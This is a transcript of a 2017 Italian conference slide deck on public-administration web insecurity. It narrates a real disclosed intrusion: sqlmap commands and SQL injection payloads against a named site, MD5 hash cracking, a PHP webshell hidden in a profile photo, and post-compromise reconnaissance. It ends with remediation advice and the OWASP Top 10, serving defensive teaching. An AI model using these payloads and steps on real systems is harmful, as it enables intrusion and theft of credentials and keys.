Upgrade to Pro — share decks privately, control downloads, hide ads and more …

(in)Sicurezza nella PA - Gianluca Varisco, Cybe...

(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

(in)Sicurezza nella PA: la storia di uno dei tanti problemi di sicurezza che abbiamo scoperto e segnalato, esempi pratici di vulnerabilità in applicativi web e cosa ci riserva il futuro. Lo sviluppo sicuro delle applicazioni web spiegato ai fornitori di tecnologia della Pubblica Amministrazione.

More Decks by Team per la Trasformazione Digitale

Other Decks in Programming

Transcript

  1. (in)Sicurezza
 nella PA Il Piano Triennale: verso il sistema operativo

    del paese 
 Roma, 05/07/2017 
 Gianluca Varisco
  2. • La storia di uno dei tanti problemi di sicurezza

    scoperti e segnalati • Esempi pratici di vulnerabilità in applicativi web • Cosa ci riserva il futuro — Agenda
  3. SQLi (SQL injection) È una tecnica di code injection molto

    comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.
  4. SQLi (SQL injection) 
 Esempio di SQLi:
 $username=$_POST[‘username']; $password=$_POST['password']; $query="select

    username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }
 …
  5. Typo3 e raccolta informazioni • Abbiamo identificato il CMS in

    utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
  6. SQLmap sqlmap -u “https:/ /www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc? id=180" -v 2 -D jupiter

    —tables Parameter: id (GET)
 Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE] Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0, [SLEEPTIME])))))[RANDSTR])
  7. SQLi [16:46:30] [INFO] the back-end DBMS is MySQL web server

    operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+
  8. Hash cracking SELECT * from be_users; 
 typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62,

    
 “Cracking” (via hashes.org API o interfaccia web):
 {"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" 
 {“plain”:"iniziale","algorithm":"MD5"}}
  9. Una volta ottenute le credenziali utente, accediamo alla sezione “gestione

    profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:
 $ wget -nv https:/ /www.ammcentrale.it/jupiter/filetest.php 
 —post-data=“hello=id" -O - | tee -a log.txt (Web) Shell access
  10. Output (uname -a):
 
 Array ( [0] => Linux web1

    2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/ Linux ) Local Privilege Escalation
  11. Output (ls): Array ( [1] => -rw-r--r-- 1 root root

    9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www ) Data Exfiltration
  12. Array ( [0] => total 64 [1] => drwxr-xr-x. 2

    root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt ) Data Exfiltration
  13. Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr

    00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] ) Lateral Movement
  14. Output (arp scan): Array ( [0] => ? (192.168.6.115) at

    00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] ) Lateral Movement
  15. Output (nmap): Array ( [0] => [1] => Starting Nmap

    6.49BETA1 ( http:/ /nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host] Lateral Movement
  16. • Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come

    funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno (es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza) e versioni CMS presenti all’interno della rete obsolete Cosa è andato storto?
  17. • Sanitizzazione input • Utilizzo di funzioni di hash più

    sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il movimento laterale su altri sistemi Cosa avrebbero dovuto fare?
  18. Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti

    su internet vulnerabili a CVE-2014-0160 Heartbleed Source: Shodan
  19. • Versioni non aggiornate • Plug-in non aggiornati • Fork

    artigianali (™) non aggiornati • PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili CMS
  20. • Moltissimi, anche tra voi in questa stanza, si affidano

    sempre alle stesse password. Le usano ovunque. • Utilizzate password manager (1Password, Lastpass, Keepass, etc.) • Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile • Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.) Problemi legati ai leak di pw
  21. • Tanti dei nostri dati vengono periodicamente esposti in maniera

    scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati (&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di ambienti cloud pubblici e privati Data leakage
  22. Vettori di attacco: • Malware / Ransomware • Vulnerabilità su

    dispositivi IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing Il futuro (?) Settori maggiormente colpiti:
 • Sanità • Automotive • Impianti Industriali • Infrastrutture critiche
  23. ICS/Scada • Sistemi di controllo industriali spesso: • esposti su

    internet per facilitarne l’accesso da remoto (es. per ricevere assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali
  24. • Capitolo 8: Sicurezza • Misure minime di sicurezza ICT

    • Infosharing CERT-PA Piano Triennale
  25. • A1 - Injection • A2 - Broken Authentication and

    Session Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known Vulnerabilities • A10 - Underprotected APIs — OWASP TOP 10
 2017 (RC1)
  26. Gianluca Varisco • Email: [email protected] • Twitter: @gvarisco • Medium:

    @gvarisco
 Sito Web: https:/ /teamdigitale.governo.it — Contatti